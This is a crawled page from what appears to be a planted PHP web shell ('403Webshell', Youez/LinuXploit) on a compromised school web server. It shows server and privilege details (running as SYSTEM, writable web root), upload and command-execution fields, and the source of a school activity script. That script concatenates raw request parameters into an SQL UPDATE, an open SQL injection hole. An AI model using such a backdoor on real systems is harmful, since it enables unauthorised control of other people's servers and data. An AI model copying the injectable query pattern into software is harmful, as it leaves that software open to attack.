403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/check/activity/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/check/activity//function_upknowledge.php
<?php
session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/class_application.php'); 

$CLASS['db']   = new db();
$CLASS['db']->connect (); 
$CLASS['disp']   = new display();
$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 

$date_day = date("Y-m-d").' '.date("H:i:s");  

$action = $_REQUEST['action'];
$tb_knowledge_id = $_REQUEST['tb_knowledge_id'];
$tb_knowledge_4h = $_REQUEST['tb_knowledge_4h'];
$tb_knowledge_code = $_REQUEST['tb_knowledge_code'];
$tb_knowledge_name = $_REQUEST['tb_knowledge_name'];
$tb_knowledge_object = $_REQUEST['tb_knowledge_object'];
$tb_knowledge_detail = $_REQUEST['tb_knowledge_detail'];
$tb_knowledge_num = $_REQUEST['tb_knowledge_num'];
$tb_knowledge_room = $_REQUEST['tb_knowledge_room'];
$tb_knowledge_class = $_REQUEST['tb_knowledge_class'];
$tb_knowledge_year = $_REQUEST['tb_knowledge_year'];
$tb_teacher_id = $_REQUEST['tb_teacher_id'];
$tb_knowledge_comment = $_REQUEST['tb_knowledge_comment'];
$tb_department_id = $_REQUEST['tb_department_id'];

	$query_up = $db->query("UPDATE  tb_knowledges 
	SET
	tb_knowledge_4h = '".$tb_knowledge_4h."' , 
	tb_knowledge_name = '".$tb_knowledge_name."' , 
	tb_knowledge_object = '".$tb_knowledge_object."' , 
	tb_knowledge_detail = '".$tb_knowledge_detail."' , 
	tb_knowledge_num = '".$tb_knowledge_num."' , 
	tb_knowledge_room = '".$tb_knowledge_room."' , 
	tb_knowledge_year = '".$tb_knowledge_year."' , 
	tb_teacher_id = '".$tb_teacher_id."',
	tb_knowledge_class = '".$tb_knowledge_class."',
	tb_department_id = '".$tb_department_id."',
	tb_knowledge_comment='".$tb_knowledge_comment."' 
 where tb_knowledge_id='".$tb_knowledge_id."' ");
?>
	<script language='javascript'>
		window.opener.location.reload()
		window.close();
	</script>

Youez - 2016 - github.com/yon3zu
LinuXploit